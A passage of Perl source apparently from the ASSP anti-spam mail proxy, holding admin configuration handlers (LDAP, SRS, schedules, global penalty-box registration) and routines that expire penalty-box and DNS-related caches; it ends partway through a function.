sub updateLDAPHost {my ($name, $old, $new, $init)=@_;
    my $ldap;
    my $ldaplist;
    my @ldaplist;
    mlog(0,"AdminUpdate: LDAP Hosts updated from '$old' to '$new'") unless $init || $new eq $old;
    $LDAPHost=$new;
    $Config{$name} = $new;
    if($CanUseLDAP && $DoLDAP) {
        @ldaplist = split(/\|/o,$LDAPHost);
        $ldaplist = \@ldaplist;
        mlog(0,"checking LDAP server at $LDAPHost -- ");
        my $scheme = 'ldap';
        eval{
        $scheme = 'ldaps' if ($DoLDAPSSL == 1 && $AvailIOSocketSSL);
        $ldap = Net::LDAP->new( $ldaplist,
                                timeout => $LDAPtimeout,
                                scheme => $scheme,
                                inet4 =>  1,
                                inet6 =>  $CanUseIOSocketINET6
                              );
        $ldap->start_tls() if ($DoLDAPSSL == 2 && $AvailIOSocketSSL);
        };

        if(! $ldap || $@) {
            mlog(0,"AdminUpdate: error couldn't contact LDAP server at $LDAPHost -- $@");
            if (!$init) {
                return ' & LDAP not activated';
            } else {
                return '';
            }
        } else {
            mlog(0,"AdminUpdate: LDAP server at $LDAPHost contacted -- ");
            if (!$init) {
                return ' & LDAP activated';
            } else {
                return '';
            }
        }
    }
}

sub configUpdateCA {
    my ( $name, $old, $new, $init ) = @_;
    my $a;
    %calist = ();
    mlog( 0, "AdminUpdate: $name updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;
    $new = checkOptionList( $new, 'CatchAll', $init );
    for $a ( split( /\|/, $new ) ) {

        if ( $a =~ /(\S*)\@(\S*)/ ) {

            $calist{$2} = "$1";
        }
    }
}

sub configUpdateCCD {
    my ( $name, $old, $new, $init ) = @_;
    %ccdlist = ();
    mlog( 0, "AdminUpdate: $name updated from '$old' to '$new'" ) unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;

    $new = checkOptionList( $new, 'ccSpamInDomain', $init );

    for my $ad ( split( /\|/, $new ) ) {
    	if($ad=~/(\S*)\@(\S*)/) {

            $ccdlist{lc $2} = "$1";
 
        }
    }
    
    
}

sub configUpdateBACKSctrSP {
    my ($name, $old, $new, $init)=@_;
    mlog(0,"AdminUpdate: Backscatter Service Providers updated from '$old' to '$new'") unless $init || $new eq $old;
    ${$name} = $Config{$name} = $new;

    $new=checkOptionList($new,'BackSctrServiceProvider',$init);
    @backsctrlist=split(/\|/o,$new);
    if (@backsctrlist && $DoBackSctr) {
        return ' & Backscatterer check is activated';
    } else {
        return ' Backscatterer check is deactivated';
    }
}
sub configChangeAutoReloadCfg {
    my ($name, $old, $new, $init)=@_;

    mlog(0,"AdminUpdate: $name changed from '$old' to '$new'") unless $init || $new eq $old;
    return '' if($init or $old eq $new);
    if ($new) {
        my @s     = stat("$base/assp.cfg");
        my $mtime = $s[9];
        $FileUpdate{"$base/assp.cfgasspCfg"} = $mtime;
        $asspCFGTime = $mtime;
    }
    $AutoReloadCfg = $new;
    $Config{AutoReloadCfg} = $new;
    return '';
}

sub configUpdateGlobalClient {
    my ($name, $old, $new, $init)=@_;
    mlog(0,"AdminUpdate: global-PB-clientname updated from '$old' to '$new'") unless $init || $new eq $old;
    if ($new eq '') {
       $globalClientPass = '';
       $Config{globalClientPass}='';
       $globalClientLicDate = '';
       $Config{globalClientLicDate}='';
       return ' global penalty box upload/download <span class="negative">is now disabled</span>';
    } else {
       my $res = &registerGlobalClient($new);
       if ($res == 1) {
          return " clientname $new was successful registered on global-PB server";
       } else {
          $globalClientPass = '';
          $globalClientName = '';
          $Config{globalClientPass}='';
          $Config{$name}='';
          $globalClientLicDate = '';
          $Config{globalClientLicDate}='';
          &SaveConfig();
          mlog(0,"warning: registration for clientname $new global-PB server failed : $res");
          return
          '<span class="negative">*** registration for clientname '.$new.' on global-PB server failed : '.$res.'</span><script type=\"text/javascript\">alert(\'global-client registation failed - '.$res.'\');</script>';
       }
    }
}

sub configUpdateGlobalHidden {
    my ($name, $old, $new, $init)=@_;
    $$name = $old;
    $Config{$name}=$old;
    if ($old eq '') {
       return '<span class="negative"> deleted</span>';
    } else {
       return '';
    }
}
sub updatePenaltyDuration {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: $name updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    &CleanPB unless $init || $new eq $old;
    return "";
}

sub updatePenaltyExpiration {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: $name updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    &cleanBlackPB  unless $init || $new eq $old;
    return "";
}
sub configChangeRBSched {
    my ($name, $old, $new, $init)=@_;
    my $shour = 0;
    my $n = 0;
    mlog(0,"AdminUpdate: $name updated from '$old' to '$new'") unless $init || $new eq $old;
    %RebuildSched = ();
    if ($new =~ /\*\/?(.)?/) {
    	my $ihour = 1 if !$1;
    	$ihour = $1 if $1;
    	while ($shour + $ihour  <=24) {
    		
    		$shour += $ihour;
    		mlog(0,"info: RebuildSchedule for RebuildSpamdb.pl is $shour:00");

    		$RebuildSched{$shour} = 1;

    		
    	}
    } else {
		foreach $shour ( split( /\|/, $new ) ) {
			$RebuildSched{$shour} = 1;
		}
	}
    $Config{$name} = $new;
    ${$name} = $new;
    return '';
}
sub configChangeHKSched {
    my ($name, $old, $new, $init)=@_;
    my $shour;
    mlog(0,"AdminUpdate: $name updated from '$old' to '$new'") unless $init || $new eq $old;
    %HouseKeepingSched = ();
    if ($new eq "*") {
    	$shour = 1;
    	while ($shour <=24) {
    		$HouseKeepingSched{$shour} = 1;

    		$shour++;
    	}
    } else {
		foreach $shour ( split( /\|/, $new ) ) {
			$HouseKeepingSched{$shour} = 1;
		}
	}
    $Config{$name} = $new;
    ${$name} = $new;
    return '';
}
sub configChangeUpdateWhitelist {
    my ($name, $old, $new, $init)=@_;
    my $shour;
    mlog(0,"AdminUpdate: $name updated from '$old' to '$new'") unless $init || $new eq $old;

    $Config{$name} = $new;
    ${$name} = $new;
    $saveWhite = time - 1;
    return '';
}
sub cleanBlackPB {
	return if !$PBBlackObject;
    if ( $PenaltyExpiration == 0 ) {
        if ( $pbdb =~ /mysql/ ) {
            while ( my ( $k, $v ) = each(%PBBlack) ) {
                delete $PBBlack{$k};
            }
        } else {
        }
        return;
    }

    my $ips_before = my $ips_deleted = 0;
    my $t = time;
    my $tdif;
    my $tdifut;
    my $newscore = 0;
    my $mcount;
    my ( $ct, $ut, $pbstatus, $score, $sip, $reason );
    my $expmin = $PenaltyExpiration * 60;
    delete $PBBlack{"0.0.0.0"};
    delete $PBBlack{""};

    while ( my ( $k, $v ) = each(%PBBlack) ) {
        $mcount++;
        if ( $mcount == 1000 ) {
            $mcount = 0;
            &MainLoop2();
        }
        ( $ct, $ut, $pbstatus, $score, $sip, $reason ) = split( " ", $v );

        $tdif   = $t - $ct;
        $tdifut = $t - $ut;
        $ips_before++;
        next if $reason  =~ /preHeader/i;
 
        


       if ($reason =~ /GLOBALPB/io) {
            if ($tdifut > $globalBlackExpiration*3600) {
                delete $PBBlack{$k};
                $ips_deleted++;
            }
            next;
        }


        if ( $k =~ /$IPprivate/ ) {
            delete $PBBlack{$k};
            $ips_deleted++;
            next;
        }

        if ( $tdif > $PenaltyDuration * 60 && $score < $PenaltyLimit ) {
            delete $PBBlack{$k};
            $ips_deleted++;
            next;
        }
        if ( $tdif > $PenaltyExpiration * 60 && $score < $PenaltyExtreme ) {
            delete $PBBlack{$k};
            $ips_deleted++;
            next;
        }
        if ($ExtremeExpiration && $tdif > $ExtremeExpiration * 24 * 60 * 60 ) {
            delete $PBBlack{$k};
            $ips_deleted++;
            next;
        }

        if (
               exists $PBWhite{$k}
            || ( $ispip && matchIP( $k, 'ispip', 0, 1 ) )
            || matchIP( $k, 'noProcessingIPs', 0, 1 )
            || matchIP( $k, 'whiteListedIPs',  0, 1 )
            || ( $noDelay && matchIP( $k, 'noDelay', 0, 1 ) )
            || ( $noPB    && matchIP( $k, 'noPB',    0, 1 ) )
            || (   $contentOnlyRe
                && $contentOnlyReRE != ""
                && $k =~ ( '(' . $contentOnlyReRE . ')' ) )
          )
        {
            delete $PBBlack{$k};
            $ips_deleted++;
            next;
        }
        if (   $tdif > $ExtremeExpiration * 60 * 60 * 24
            && $score >= $PenaltyExtreme )
        {
            delete $PBBlack{$k};
            $ips_deleted++;
            next;
        }

    }
  
    mlog( 0,
"PenaltyBox: cleaning BlackBox finished; before=$ips_before, deleted=$ips_deleted"
    ) if $MaintenanceLog && $ips_before>0;



}


sub cleanWhitePB {
    my $ips_before = my $ips_deleted = 0;
    my $t          = time;
    my $newscore   = 0;
    my $mcount;
    delete $PBWhite{"0.0.0.0"};
    delete $PBWhite{""};
	my $maxtime1 = $globalWhiteExpiration*24*3600;
    my $maxtime2 = $WhiteExpiration*24*3600;
    
    while ( my ( $k, $v ) = each(%PBWhite) ) {
        &ThreadMaintMain2() if  ! $ips_before % 100;
        $mcount++;
        if ( $mcount == 100 ) {
            $mcount = 0;
            &MainLoop2();
        }
        my ( $ct, $ut, $pbstatus, $reason ) = split( " ", $v );
        $ips_before++;
        
        if ($pbstatus == 3) {           # an entry from global PB
            if ($t-$ut>=$maxtime1) {
                delete $PBWhite{$k};
                $ips_deleted++;
            }
            next;
        }

        if ( matchIP( $k, 'denySMTPConnectionsFromAlways', 0, 1 ) ) {
            delete $PBWhite{$k};
            $ips_deleted++;
            next;
        }
        if ( matchIP( $k, 'noPBwhite', 0, 1 ) ) {
            delete $PBWhite{$k};
            $ips_deleted++;
            next;
        }
        if ( $k =~ /$IPprivate/ ) {
            delete $PBWhite{$k};
            $ips_deleted++;
            next;
        }
        if ( $t - $ut >= $maxtime2 ) {
            delete $PBWhite{$k};
            $ips_deleted++;
        }
  
    }

      mlog( 0,
"PenaltyBox: cleaning WhiteBox finished; before=$ips_before, deleted=$ips_deleted"
        ) if $MaintenanceLog && $ips_before>0;


}

sub cleanCacheRBL {
    d('cleanCacheRBL');
    my $ips_before = my $ips_deleted = 0;
    my $t = time;
    my $ct;
    my $mm;
    my $status;
    my @sp;
    my $maxtime = $RBLCacheExp * 3600;
    while (my ($k,$v)=each(%RBLCache)) {
        &ThreadMaintMain2() if $WorkerNumber == 10000 && ! $ips_deleted % 100;
        ( $ct, $mm, $status, @sp ) = split( ' ', $v );

        $ips_before++;
        if ( $t - $ct >= $maxtime  ) {
            delete $RBLCache{$k};
            $ips_deleted++;
            next;
        }
        next if $status == 2;
        my $spstr = join(' ',@sp);
        foreach my $sp (@sp) {
            my $tsp = $sp;
            $tsp =~ s/([^\{]+).*/$1/o;
            next if grep(/\Q$tsp\E/i,@rbllist);
            $spstr =~ s/ ?\Q$sp\E//ig;
        }
        if ($spstr) {
            $RBLCache{$k} = "$ct $mm $status $spstr";
        } else {
            delete $RBLCache{$k};
            $ips_deleted++;
        }
    }    
    
    mlog( 0, "DNSBLCache: cleaning cache finished: IP\'s before=$ips_before, deleted=$ips_deleted" ) if $MaintenanceLog && $ips_before != 0;
    if ( $ips_before == 0) {
        %RBLCache=();
		&SaveHash('RBLCache');
       
    }
}



sub cleanCachePTR {
    my $ips_before = my $ips_deleted = 0;
    my $t = time;
    my $ct;
    my $status;
    my $mcount;
    while ( my ( $k, $v ) = each(%PTRCache) ) {
        &ThreadMaintMain2() if  ! $ips_before % 100;
        $mcount++;
        if ( $mcount == 100 ) {
            $mcount = 0;
            &MainLoop2();
        }
        ( $ct, $status ) = split( " ", $v );

        $ips_before++;
        if ( $t - $ct >= $PTRCacheExp * 3600 ) {
            delete $PTRCache{$k};
            $ips_deleted++;
        }
    }
    mlog( 0,
"PTRCache: cleaning up cache finished; before=$ips_before, deleted=$ips_deleted"
    ) if $MaintenanceLog && $ips_before>0;
    
 
   
}


sub cleanCacheSSL {
    my $ips_before = my $ips_deleted = 0;
    my $t = time;
    my $ct;
    my $status;
    my $mcount;
    while ( my ( $k, $v ) = each(%SSLfailed) ) {
        &ThreadMaintMain2() if  ! $ips_before % 100;
        $mcount++;
        if ( $mcount == 1000 ) {
            $mcount = 0;
            &MainLoop2();
        }
        ( $ct, $status ) = split( " ", $v );

        $ips_before++;
        if ( $t - $ct >= $SSLCacheExp * 3600 * 24) {
            delete $SSLfailed{$k};
            $ips_deleted++;
        }
    }
    mlog( 0,
"SSLCache: cleaning up cache finished; before=$ips_before, deleted=$ips_deleted"
    ) if $MaintenanceLog && $ips_before>0;
    

}
sub cleanCacheRWL {

    my $ips_before = my $ips_deleted = 0;
    my $t = time;
    my $ct;
    my $status;
    my $mcount;
    while ( my ( $k, $v ) = each(%RWLCache) ) {
        &ThreadMaintMain2() if  ! $ips_before % 100;
        ( $ct, $status ) = split( " ", $v );
        $mcount++;
        if ( $mcount == 100 ) {
            $mcount = 0;
            &MainLoop2();
        }


        $ips_before++;
        if ( $t - $ct >= $RWLCacheExp * 3600 * 24 ) {
            delete $RWLCache{$k};
            $ips_deleted++;
        }
    }
    mlog( 0,
"RWLCache: cleaning up cache finished; before=$ips_before, deleted=$ips_deleted"
    ) if $MaintenanceLog && $ips_before>0;

    
}

sub cleanCacheMXA {

    my $ips_before = my $ips_deleted = 0;
    my $ct;
    my $status;
    my $t = time;
    my $mcount;
    my $maxtime = $MXACacheExp*3600;
    while (my ($k,$v)=each(%MXACache)) {

        ($ct,$status)=split(" ",$v);

        $ips_before++;

        if ($t-$ct>=$maxtime) {
            delete $MXACache{$k};
            $ips_deleted++;
        }
    }
    mlog( 0,
"MXACache: cleaning up cache finished; before=$ips_before, deleted=$ips_deleted"
    ) if $MaintenanceLog && $ips_before>0;
    

    

}


sub cleanCacheSB {
    d('cleanCacheSB');
    my $ips_before= my $ips_deleted=0;
    my $t=time;
    my %delWOL;
    while (my ($k,$v)=each(%SBCache)) {
        &ThreadMaintMain2() if $WorkerNumber == 10000 && ! $ips_before % 100;
        my $mSBCacheExp = $SBCacheExp;
        my ( $ct, $status, $country ) = split( "!", $v );
        my ( $ipcountry,  $orgname,  $domainname ) = split( /\|/o, $country ) ;

        $ips_before++;
        $mSBCacheExp = 10 * $SBCacheExp if ($status == 2);
        if ($t-$ct>=$mSBCacheExp*3600*24) {
            delete $SBCache{$k};
            delete $WhiteOrgList{lc $domainname};
            $delWOL{$orgname} = 1;
            $ips_deleted++;
        }
    }
    while (my ($k,$v)=each(%WhiteOrgList)) {
        delete $WhiteOrgList{$k} if exists $delWOL{$v};
    }
    
    mlog(0,"SenderBaseCache: cleaning cache finished: IP\'s before=$ips_before, deleted=$ips_deleted") if  $MaintenanceLog && $ips_before != 0;
    if ($ips_before==0) {
        %SBCache=();
        if ($pbdb =~ /DB:/o && ! $failedTable{SBCache}) {
        } else {
            &SaveHash('SBCache');
        }
    }
}

sub cleanCacheSPF {
    d('cleanCacheSPF');

    my $ips_before= my $ips_deleted=0;
    my $t=time;
    my $mcount;
    my $maxtime = $SPFCacheExp*3600;
    while (my ($k,$v)=each(%SPFCache)) {
        my ($ct, $result, $helo)=split(' ',$v);
        $mcount++;
        if ( $mcount == 1000 ) {
            $mcount = 0;
            &MainLoop2();
        }
        $ips_before++;
        if ($t-$ct>=$maxtime or $k !~ /\s/o) {
            delete $SPFCache{$k};
            $ips_deleted++;
        }
    }
    mlog(0,"SPFCache: cleaning up cache finished: IP\'s before=$ips_before, deleted=$ips_deleted") if  $MaintenanceLog && $ips_before != 0;

}

sub cleanCacheMXA {
    d('cleanCacheMXA');
    my $ips_before= my $ips_deleted=0;
    my $ct;my $status;
    my $t=time;
    my $maxtime = $MXACacheExp*3600*24;
    while (my ($k,$v)=each(%MXACache)) {
        &ThreadMaintMain2() if $WorkerNumber == 10000 && ! $ips_before % 100;
        ($ct,$status)=split(/\s+/o,$v);

        $ips_before++;

        if ($t-$ct>=$maxtime) {
            delete $MXACache{$k};
            $ips_deleted++;
        }
    }
    mlog(0,"MXACache: cleaning cache finished: Domain\'s before=$ips_before, deleted=$ips_deleted") if  $MaintenanceLog && $ips_before != 0;
    
}

sub cleanCacheURI {
    d('cleanCacheURI');
    my $domains_before= my $domains_deleted=0;
    my $t=time;
    my $ct;my $status;my @sp;my $maxtime1;my $maxtime2;
    $maxtime1 = $maxtime2 = $URIBLCacheExp*3600;
    $maxtime1 = $URIBLCacheExpMiss*3600 if $URIBLCacheExpMiss;

    while (my ($k,$v)=each(%URIBLCache)) {
        &MainLoop2() if  ! $domains_before % 100;
        ( $ct, $status, @sp ) = split( ' ', $v );

        $domains_before++;
        if (!$URIBLCacheExp) {
        	delete $URIBLCache{$k};
            $domains_deleted++;
        	next;
        }
        if ($status==2 && $t-$ct>=$maxtime1) {
            delete $URIBLCache{$k};
            $domains_deleted++;
            next;
        }
        if ($t-$ct>=$maxtime2) {
            delete $URIBLCache{$k};
            $domains_deleted++;
        }
        next if $status == 2;
        my $spstr = join(' ',@sp);
        foreach my $sp (@sp) {
            my $tsp = $sp;
            $tsp =~ s/([^\<]+).*/$1/;
            next if grep(/$tsp/i,@uribllist);
            $spstr =~ s/ ?$sp//ig;
        }
        if ($spstr) {
            $URIBLCache{$k} = "$ct $status $spstr";
        } else {
            delete $URIBLCache{$k};
            $domains_deleted++;
        }
    }
    mlog(0,"URIBLCache: cleaning cache finished: Domains before=$domains_before, deleted=$domains_deleted") if  $MaintenanceLog && $domains_before != 0;
    if ($domains_before==0) {
        %URIBLCache=();
		&SaveHash('URIBLCache');
    }
}



sub cleanTrapPB {
    my $addresses_before = my $addresses_deleted = 0;
    my $t = time;
    my $mcount;

    while ( my ( $k, $v ) = each(%PBTrap) ) {
        $mcount++;
        if ( $mcount == 1000 ) {
            $mcount = 0;
            &MainLoop2();
        }
		$addresses_before++;
		
        my ( $ct, $ut, $counter ) = split( " ", $v );

        
        if ( $t - $ut >= $PBTrapCacheExp  * 3600
        or matchSL( $k, 'noPenaltyMakeTraps',1 ))
        {
            delete $PBTrap{$k};
            $addresses_deleted++;
            next;
        }
        if ($t - $ct >= $PBTrapCacheExp  * 3600 && $counter < $PenaltyMakeTraps) {
       	    my $data = "$t $t 0 ";
        	$PBTrap{$k} = $data;
        	next;
        }

    }
    mlog( 0,
"PBTrap: cleaning finished; before=$addresses_before, deleted=$addresses_deleted"
    ) if $MaintenanceLog && $addresses_before>0 ;
    

}



sub cleanCacheAUTHErrors {
    d('cleanCacheAUTHErrors');

    my $i = 0;
    while (my ($k,$v)=each(%AUTHErrors)) {
        if (--$AUTHErrors{$k} <= 0) {
            delete $AUTHErrors{$k};
        }
        $i++;
    }
    mlog(0,"AUTHErrors: recalculated $i IP counters") if  $MaintenanceLog && $MaxAUTHErrors && $i;

}
sub cleanDelayIP {
    d('cleanDelayIP');

    my $t = time - 24 * 3600 ;
    while (my ($k,$v)=each(%DelayIPPB)) {

        if ($DelayIPPB{$k} <= $t) {
            delete $DelayIPPB{$k};

        }
    }

}


sub cleanCacheSMTPdomainIP {
	d('cleanCacheSMTPdomainIP');
    my $ips_before= my $ips_deleted=0;
    my $ct;
    my $t=time;
    while (my ($k,$v)=each(%SMTPdomainIP)) {
        $ips_before++;

        if ($t-$v>=$SMTPdomainIPTriesExpiration{$k}) {
            $ips_deleted++;

            delete $SMTPdomainIP{$k};
            delete $SMTPdomainIPTries{$k};
            delete $SMTPdomainIPTriesExpiration{$k};
        }
    }
    mlog(0,"SMTPdomainIP: cleaning up cache finished: before=$ips_before, deleted=$ips_deleted") if  $MaintenanceLog > 1 && $ips_before > 0;
}

sub cleanCacheIPNumTries {
	d('cleanCacheIPNumTries');
    my $ips_before= my $ips_deleted=0;
    my $ct;
    my $t=time;
    while (my ($k,$v)=each(%IPNumTries)) {
        $ips_before++;

        if ($t-$v>=$IPNumTriesExpiration{$k}) {
            $ips_deleted++;

            delete $IPNumTries{$k};
            delete $IPNumTriesDuration{$k};
            delete $IPNumTriesExpiration{$k};
        }
    }
    mlog(0,"IPNumTries: cleaning up cache finished: before=$ips_before, deleted=$ips_deleted") if  $MaintenanceLog > 1 && $ips_before > 0;
}


sub cleanCacheLocalFrequency {
    d('cleanCacheLocalFrequency');
    unless ($LocalFrequencyInt) {%localFrequencyCache = (); return;}
    unless ($LocalFrequencyNumRcpt) {%localFrequencyCache = (); return;}
 
    my $adr_before= my $adr_deleted=0;
    my $t=time;
    while (my ($k,$v)=each(%localFrequencyCache)) {

        my %F = split(/ /o,$v);
        foreach (sort keys %F) {
            delete $F{$_} if ($_ + $LocalFrequencyInt  < $t);
        }
        if (! scalar keys %F) {
            delete $localFrequencyCache{$k};
            $adr_deleted++;
        }
    }
    mlog(0,"localFrequency: cleaning up cache finished: addresses\'s before=$adr_before, deleted=$adr_deleted") if  $MaintenanceLog >= 2 && $adr_before > 0;

    while (my ($k,$v)=each(%localFrequencyNotify)) {
        delete $localFrequencyNotify{$k} if $v < time;
    }
    
}

sub cleanCacheBackDNS {
    d('cleanCacheBackDNS');
    &ThreadMaintMain2() if $WorkerNumber == 10000;
    my $ips_before= my $ips_deleted=0;
    my $t=time;
    my $ct;
    my $status;
    my $maxtime = $BackDNSInterval*3600*24;
    while (my ($k,$v)=each(%BackDNS)) {
        ($ct,$status)=split(' ',$v);
        $ips_before++;
        if ($t-$ct>=$maxtime) {
            delete $BackDNS{$k};
            $ips_deleted++;
        }
    }
    mlog(0,"BackDNS: cleaning up cache finished: IP\'s before=$ips_before, deleted=$ips_deleted") if  $MaintenanceLog && $ips_before != 0;
    

}


sub saveSMTPconnections {
    mlog( 0, "sig USR1 -- saving concurrent session stats" );
    open( SMTP, ">$base/smtp.txt" );
    print SMTP "$smtpConcurrentSessions\n";
    close(SMTP);
}

sub cleanUpFiles {
    my ($folder, $filter, $filetime) = @_;
    d('cleanUpFiles - '."$folder, $filter, $filetime");
    my $textfilter = " (*$filter)" if $filter;
    my @files;
    my $file;
    my $count;
    my $dir = ($folder !~ /\Q$base\E/i) ? "$base/$folder" : $folder ;
    $dir =~ s/\\/\//g;
    return unless -e $dir;
    mlog(0,"info: starting cleanup old files$textfilter for folder $dir") if $MaintenanceLog >= 2;
    opendir(my $DIR,"$dir");
    @files = readdir($DIR);
    close $DIR;
    foreach $file (@files) {
        next if $file eq '.';
        next if $file eq '..';
        next if ($filter && $file !~ /$filter$/i);
        next if ($filter && $file =~ /^$filter$/i);
        $file = "$dir/$file";
        next if -d $file;
        next unless -w $file;
        my $dtime=(stat($file))[9]-time;
        if (($dtime < $filetime * -1) or ($dtime > 0 && $dtime < 60 - $filetime)) {
            unlink $file;
            $count++;
            mlog(0,"info: deleted $file") if $MaintenanceLog > 2;
        }
    }
    mlog(0,"info: deleted $count old$textfilter files from folder $dir") if $MaintenanceLog && $count;
}

sub cleanUpMailLog {
    d('cleanUpMailLog');
    return unless $MaxLogAge;
    return unless $logfile;
    return if $logfile =~ /\/?maillog\.log$/i;
    my $age = $MaxLogAge * 3600 * 24;
    my ($logdir, $logdirfile) = $logfile=~/^(.*[\/\\])?(.*?)$/;
    $logdir = $base unless $logdir;
    return unless $logdirfile;

    &cleanUpFiles($logdir,$logdirfile,$age);
}


sub exportExtreme {
    return 0 unless $DoExtremeExport;

    my $myexport = $exportExtremeBlack;
    my $fil;
    if ( $myexport =~ /^\s*file:\s*(.+)\s*$/i ) {
        $fil = $1;
    } else {
        return;
    }
    $fil = "$base/$fil" if $fil !~ /^(([a-z]:)?[\/\\]|\Q$base\E)/;

    my %extremeips;
    my $extremeObject = tie %extremeips, 'orderedtie', "$fil.hash";
    %extremeips = ();
    $extremeObject->flush();

    # import existing extreme IP's
    my $counter = 0;
    if ($DoExtremeExportAppend) {
        my $r;
        open( my $IMPORT, "<$fil" );
        local $/ = "\n";
        while ( $r = <$IMPORT> ) {
            $r =~ y/\r\n\t //d;
            next unless $r;
            $extremeips{$r} = 1;
            $counter++;
        }
        close $IMPORT;
        mlog( 0, "PenaltyBox: $fil read, imported:$counter" )
          if $MaintenanceLog;
    }

    # get additional extreme IP's from PenaltyBlack
    my ( $k, $v, $ct, $ut, $pbstatus, $score, $sip, $reason );
    while ( ( my $k, my $v ) = each(%PBBlack) ) {
        ( $ct, $ut, $pbstatus, $score, $sip, $reason ) = split( " ", $v );

        next if $k      =~ /\.0$/ && !$ExportUseNetblocks;
        next if $k      !~ /\.0$/ && $ExportUseNetblocks;
        next if $reason =~ /GLOBALPB/i;

        # skip, IP already exists in extreme file
        next if $extremeips{$k};

        if ( $score >= $PenaltyExtreme ) {
            $extremeips{$k} = 1;
            $counter++;
        }
    }

    # write extreme temp file
    open( my $EXPORT, ">$fil.tmp" );
    foreach my $e ( sort keys %extremeips ) {
        next unless $e;
        print $EXPORT "$e\n";
    }
    close $EXPORT;

    # backup and swap in new extreme file
    unlink("$fil.bak");
    move( "$fil",     "$fil.bak" );
    move( "$fil.tmp", "$fil" );

    mlog( 0, "PenaltyBox: $fil exported, entries:$counter" ) if $MaintenanceLog;
    untie %extremeips;
    undef $extremeObject;
    unlink "$fil.hash";
    return 1;
}

sub modifyList {
    $GPBmodTestList->('email',@_);
}
sub ThreadMaintMain2 {
    &MainLoop2();
}

sub modifyFile {
    my ($list,$action,$reason,$name)=@_;
    my $fil;
    my $NP;
    if(${$list} =~ /^\s*file:\s*(.+)\s*$/io) {
        $fil=$1;
    } else {
        return 0;
    }
    $fil="$base/$fil" if $fil!~/^(([a-z]:)?[\/\\]|\Q$base\E)/io;
    return 0 if ( !-e "$fil");
    my @lines;
    (open ($NP, $fil)) or return 0;
    @lines = <$NP>;
    close ($NP);
    unlink "$fil.bak";
    if ($action eq 'delete') {rename("$fil","$fil.bak"); (open ($NP, ">$fil")) or return 0;}
    if ($action eq 'add') {copy("$fil","$fil.bak");(open ($NP, ">>$fil")) or return 0;}
    binmode $NP;

    if ($action eq 'delete') {
        while (@lines) {
            my $k = shift @lines;
            $k =~ /\r?\n$/;
            if ($k=~/$name/i) {
                mlog(0,"email: $name removed from $list-List - $reason");
                next;
            }
            print $NP "$k\n";
        }
    }
    if ($action eq 'add') {
        print $NP "\n$name  # added by GUI action or email interface - $reason";
        mlog(0,"email: $name added to $list-List - $reason",1);
    }
    close ($NP);
    return 1;
}

sub deleteNP {
    return if $EmailNoNPRemove;
    my ( $name, $reason ) = @_;
    my $fil;
    my $mynp = $Config{"noProcessing"};
    if ( $mynp =~ /^\s*file:\s*(.+)\s*$/i ) {
        $fil = $1;
    } else {
        return;
    }
    $fil = "$base/$fil" if $fil !~ /^(([a-z]:)?[\/\\]|\Q$base\E)/;
    return if ( !-e "$fil" );
    my ( @lines, $nlines, $kk );
    open( NP, $fil );
    @lines = <NP>;
    close(NP);
    unlink "$fil.bak";
    rename( "$fil", "$fil.bak" );
    open( NP, ">$fil" );

    foreach my $k (@lines) {
        mlog( 0, "email: $name removed from NoProcessing-List - $reason", 1 )
          if $k =~ /$name/i;

        next if $k =~ /$name/i;
        print NP "$k";
    }
    close(NP);
}

# SRS Settin Checks, and Update.
sub updateSRS {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: SRS-Enable updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    $EnableSRS = $Config{EnableSRS} = $new;
    if ( !$CanUseSRS ) {
        mlog( 0,
"AdminUpdate: SRS-Enable updated from '1' to '', Mail::SRS not installed"
        ) if $Config{EnableSRS};
        $EnableSRS = $Config{EnableSRS} = undef;
        return
'<span class="negative">*** Mail::SRS must be installed before enabling SRS.</span>';
    } else {
        updateSRSAD( 'updateSRSAD', '', $Config{SRSAliasDomain}, 'Cascading' );
    }
}

sub updateSRSAD {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: SRS Alias Domain updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    $SRSAliasDomain = $new;
    if ( $new eq '' ) {
        mlog( 0,
"AdminUpdate: SRS-Enable updated from '1' to '', SRSAliasDomain not defined "
        ) if $Config{EnableSRS};
        $EnableSRS = $Config{EnableSRS} = undef;
        return
'<span class="negative">*** SRSAliasDomain must be defined before enabling SRS.</span>';
    } else {
        updateSRSSK( 'updateSRSSK', '', $Config{SRSSecretKey}, 'Cascading' );
    }
}

sub updateSRSSK {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0, "AdminUpdate: SRS Secret Key updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    $SRSSecretKey = $new;
    if ( length($new) < 5 ) {
        mlog( 0,
"AdminUpdate: SRS-Enable updated from '1' to '', SRSSecretKey not at least 5 characters long "
        ) if $Config{EnableSRS};
        $EnableSRS = $Config{EnableSRS} = undef;
        return
'<span class="negative">*** SRSSecretKey must be at least 5 characters long before enabling SRS.</span>';
    } elsif ($CanUseSRS) {
        if ( $init && $EnableSRS ) {
            return ' & SRS activated';
        } else {
            return '';
        }
    }
}

# Database File Logging Frequency Setup.
sub freqNonSpam {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0,
        "AdminUpdate: Non Spam Logging Frequency updated from '$old' to '$new'"
    ) unless $init || $new eq $old;
    $logFreq[2] = $new;

}

sub freqSpam {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0,
        "AdminUpdate: Spam Logging Frequency updated from '$old' to '$new'" )
      unless $init || $new eq $old;
    $logFreq[3] = $new;
    return '';
}

sub syncCanSync {
    return ($syncConfigFile && $syncCFGPass && $syncServer && ($enableCFGShare or $isShareMaster or $isShareSlave)) ? 1 : 0;
}

sub ConfigChangeSyncServer {my ($name, $old, $new, $init)=@_;
    return '' if $new eq $old && ! $init;
    return '<span class="negative"></span>' if $WorkerNumber != 0;
    if (! $new or $init) {
        $Config{$name} = $new;
        ${$name} = $new;
        return &ConfigChangeEnableCFGSync('enableCFGShare', $enableCFGShare, '', '');
    }
    $Config{$name} = $new;
    ${$name} = $new;
    mlog(0,"AdminUpdate: $name changed from '$old' to '$new'")  unless $init || $new eq $old;
